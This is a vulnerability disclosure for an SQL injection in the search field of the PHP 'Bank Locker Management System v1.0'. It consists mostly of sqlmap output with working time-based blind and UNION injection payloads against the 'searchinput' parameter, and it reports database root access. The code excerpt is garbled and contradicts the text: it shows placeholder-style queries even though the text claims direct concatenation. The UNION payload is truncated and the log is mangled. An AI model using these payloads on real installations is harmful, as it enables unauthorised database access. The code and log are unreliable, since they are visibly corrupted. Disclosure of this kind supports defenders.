

Bank Locker Management System v1.0 Assign Locker Search SQL Injection

Access the system and go to the Assign Locker Search function point to search for the value of the searchinput parameter as the search content

The screenshot shows a web browser window with the URL 192.168.1.101/Bank-locker-Management-System-PHP/blms/index.php. The main content area displays a piggy bank with coins and the text 'LUXUS-SCHWEIN'. To the right is a blue-themed form titled 'Assign Locker Search' with a red box highlighting the search input field labeled 'Search Locker Details by Locker Number/ Key Number' and a 'Search' button. Below the form is a sidebar titled 'Contact Info' with icons for visiting the office, emailing, and calling.

The vulnerability arises in search locker details. php, which accepts the value of searchinput passed by the front-end and concatenates it directly into SQL statements, which will lead to the creation of SQL injection vulnerabilities

```
31 <div class="about" id="about">|
32   <div class="container">|
33     <h1 align="center">Search Locker Details against keyword "<?php echo $searchby;?>"</h1>|
34   <div class="w3-agileits-about-grids">|
35     <div class="col-md-12 agile-about-left">|
36       <table id="example1" class="table table-bordered table-striped">|
37         <thead>|
38           <tr>|
39             <th>#</th>|
40             <th>Locker Number</th>|
41             <th>Key Number</th>|
42             <th>Holder Name</th>|
43             <th>Mobile Number</th>|
44             <th>Email</th>|
45             <th>Status</th>|
46             <th>Locker Assign Date</th>|
47             <th>Action</th>|
48           </tr>|
49         </thead>|
50         <tbody>|
51           <tr>|
52             <td><?php $query=mysqli_query($con, "select * from tbllssgnlocker where LockerNumber='?searchby' || KeyNumber='?searchby'"); $cnt=1; ?></td>|
53             <td><?php echo $result['LockerNumber'];?></td>|
54             <td><?php echo $result['KeyNumber'];?></td>|
55             <td><?php echo $result['FullName'];?></td>|
56             <td><?php echo $result['MobileNumber'];?></td>|
57           </tr>|
58         </tbody>|
59       </table>|
60     </div>|
61   </div>|
62 </div>|
63 <script type="text/javascript">|
64   <!-- Your JavaScript code here -->|
65 </script>|
66 <!-- Your CSS styles here -->|
67 <!-- Your footer content here -->|
68 <!-- Your sidebar content here -->|
69 </body>|
70 </html>
```

SQLMap execution results

Parameter: searchinput (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: searchinput=111' AND (SELECT 5002 FROM (SELECT(SLEEP(5)))VZhH) AND

'FPxC'='FPxC&submit=Type: UNION query

Title: Generic UNION query (NULL) - 18 columns

Payload: searchinput=111' UNION ALL SELECT

CONCAT(0x71627a7171,0x69464c796275584f4a564d764349744a54766e546a664e707a734a4e65
584c6c45494e4a64724561,0x71

ULL,NULL,NULL-- -&submit=[20:23:40] [INFO] the back-end DBMS is MySQL

web application technology: PHP 7.3.4, Apache 2.4.39

back-end DBMS: MySQL \geq 5.0.12

[20:23:52] [INFO] fetching current

```
current user: 'root@localhost'
```

[20:23:54] [INFO] fetched data logged to text files under

'C:\Users\XZG\AppData\Local\sqlmap\output\192.168.1.101'

[20:23:54] [WARNING] your salman version is outdated

References:<https://phpgurukul.com/bank-locker-management-system-using-php-and-mysql/>